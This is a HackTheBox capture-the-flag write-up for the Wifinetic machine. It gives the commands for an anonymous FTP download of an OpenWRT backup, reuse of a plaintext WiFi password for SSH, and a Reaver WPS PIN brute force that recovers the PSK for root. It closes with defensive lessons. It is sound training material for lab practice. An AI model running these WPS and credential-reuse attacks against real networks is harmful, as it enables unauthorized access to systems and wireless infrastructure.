Wifinetic - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Wifinetic is an easy difficulty Linux machine that challenges players with wireless security concepts and network reconnaissance. The attack chain begins with exploiting an insecurely configured FTP service with anonymous authentication enabled, which leaks critical files including an OpenWRT backup archive. Extracting this archive reveals wireless network credentials stored in plaintext configuration files. These credentials are reused for SSH access to the netadmin user account. Privilege escalation is achieved by exploiting a misconfigured WPS PIN on the Access Point—using the Reaver tool to brute force the PIN and obtain the PSK, which is then reused via su for root access. This machine emphasizes the dangers of password reuse, insecure wireless configurations, and information leakage through backup files.

TL;DR: Anonymous FTP → OpenWRT backup extraction → plaintext WiFi credentials → SSH as netadmin → WPS brute force with Reaver → PSK reuse for root via su.

Reconnaissance

Port Scanning

# First, identify all open ports with aggressive scanning
nmap -p- --min-rate=1000 -T4 10.129.229.211

# Extract open ports and run detailed service scan
ports=$(nmap -p- --min-rate=1000 -T4 10.129.229.211 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV -sC 10.129.229.211

Results:

Service Enumeration

FTP Service (Port 21):

The FTP service permits anonymous login and contains multiple files available for download. This is a significant information disclosure vulnerability.

# Connect to FTP and download all files
ftp 10.129.229.211

# Within FTP prompt:
# > prompt          (toggle interactive mode off for batch download)
# > mget *          (download all files)

Downloaded Files:

• ProjectGreatMigration.pdf — Contains email, contact number, and domain information
• ProjectOpenWRT.pdf — Discloses additional email and network infrastructure details
• MigrateOpenWrt.txt — References the Reaver tool for WPS testing and network security assessment
• backup-OpenWrt-2023-07-26.tar — Critical: OpenWRT backup containing configuration files

Vulnerability Assessment

Initial Foothold

Exploitation Path

Step 1: Extract OpenWRT Backup

# Extract the OpenWRT backup archive
tar -xvf backup-OpenWrt-2023-07-26.tar

# This creates a directory structure containing etc/, config/, and other critical files

Step 2: Enumerate User Accounts

# Review the passwd file to identify valid usernames
cat etc/passwd

# Output reveals the 'netadmin' user account created for administrative purposes

Step 3: Discover Wireless Credentials

# Examine the wireless configuration file
cat config/wireless

# Output shows:
# SSID: OpenWrt
# Password: VeRyUniUqWiFIPasswrd1!

Step 4: Attempt SSH with Discovered Credentials

# First attempt: Try root with the wireless network password
ssh root@10.129.229.211
# Password: VeRyUniUqWiFIPasswrd1!
# Result: Failed

# Second attempt: Try netadmin with the wireless network password
ssh netadmin@10.129.229.211
# Password: VeRyUniUqWiFIPasswrd1!
# Result: Success!

Step 5: Retrieve User Flag

# Read the user flag
cat /home/netadmin/user.txt

Privilege Escalation

Exploitation Path

Step 1: Enumerate Network Interfaces

# Check available network interfaces
ifconfig

# Output reveals:
# - wlan0: Access Point interface with BSSID 02:00:00:00:00:00
# - wlan1: WiFi client interface (connects to external AP)
# - mon0: Monitor mode interface (wireless monitoring)
# - wlan2: Managed mode, inactive

Step 2: Identify Access Point Service

# Check WPA supplicant status (client service)
systemctl status wpa_supplicant.service
# Confirms wlan1 is in client mode

# Check hostap status (AP service)
systemctl status hostapd.service
# Confirms wlan0 is the Access Point

Step 3: Obtain Detailed Wireless Configuration

# Get detailed wireless interface information
iwconfig
# Confirms:
# - wlan0: Master mode (AP)
# - wlan1: Managed mode (client)
# - mon0: Monitor mode (passive monitoring)
# - wlan2: Managed mode (inactive)

# Get detailed interface and physical device mapping
iw dev
# Confirms:
# - wlan0/phy0: Access Point
# - wlan1: Managed (P2P device)
# - wlan2/mon0/phy2: Secondary wireless card for monitoring

Step 4: Check for Wireless Security Tools

# Enumerate system capabilities, looking for wireless tools
getcap -r / 2>/dev/null

# Output reveals: reaver tool available for WPS PIN attacks

Step 5: Obtain Access Point BSSID

# Use iw to retrieve AP information without requiring elevated privileges
iw dev wlan2 scan

# From previous enumeration (ifconfig), we already know:
# BSSID: 02:00:00:00:00:00
# Channel: 1

Step 6: Brute Force WPS PIN with Reaver

# Perform WPS PIN brute force attack on the Access Point
# Using mon0 (monitor mode interface on phy2) to avoid interfering with active connections
reaver -i mon0 -b 02:00:00:00:00:00 -vv -c 1

# Attack is successful and retrieves:
# WPA PSK: WhatIsRealAnDWhAtIsNot51121!

Step 7: Exploit Password Reuse for Root Access

# Attempt to switch to root using the discovered PSK
# (Password reuse across accounts is a common misconfiguration)
su root
# Password: WhatIsRealAnDWhAtIsNot51121!
# Result: Success!

Step 8: Retrieve Root Flag

# Read the root flag
cat /root/root.txt

Attack Chain Summary

FTP Anonymous Access
    ↓
Download OpenWRT Backup + Documentation
    ↓
Extract & Parse Configuration Files
    ↓
Discover Netadmin User + WiFi Credentials
    ↓
SSH Access as netadmin User (Credential Reuse)
    ↓
Enumerate Wireless Interfaces (wlan0=AP, mon0=monitor)
    ↓
Identify WPS-enabled Access Point (BSSID: 02:00:00:00:00:00)
    ↓
Brute Force WPS PIN with Reaver
    ↓
Obtain WPA PSK (WhatIsRealAnDWhAtIsNot51121!)
    ↓
Privilege Escalation via su root (Password Reuse)
    ↓
Root Access & Flag Capture

Tools Used

Key Learnings

Techniques Practiced

• Anonymous FTP Enumeration — Identifying and exploiting improperly configured FTP services
• Archive Analysis — Extracting and examining backup files for sensitive configuration data
• Wireless Interface Enumeration — Understanding AP vs. client vs. monitor mode interfaces
• WPS Attack Methodology — WPS PIN brute forcing using Reaver tool
• Password Reuse Exploitation — Leveraging credential reuse across multiple authentication systems
• Service Enumeration — Using systemctl and iw to map network services to wireless interfaces
• Capability-Based Privilege Escalation — Identifying tools with elevated capabilities via getcap

Lessons Learned

1. Never enable anonymous FTP access without extremely restrictive file permissions. Configuration backups should never be publicly accessible.

2. Avoid storing sensitive credentials in plaintext within configuration files, especially in backups that may be inadvertently exposed.

3. Enforce unique passwords across all accounts and services. Password reuse is one of the most exploitable misconfigurations in real-world environments.

4. Secure WPS implementations by setting ap_setup_locked=3 to prevent infinite PIN brute force attempts. Better yet, disable WPS entirely if not required.

5. Monitor and audit backup file creation and storage. Backups are often overlooked but represent a complete snapshot of system credentials and configurations.

6. Wireless monitoring interfaces can be weaponized against local network infrastructure. Restrict monitor mode access to authorized personnel only.

7. Real-world applicability of this machine is exceptionally high — misconfigured FTP, plaintext credentials, and WPS vulnerabilities are common in production networks.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>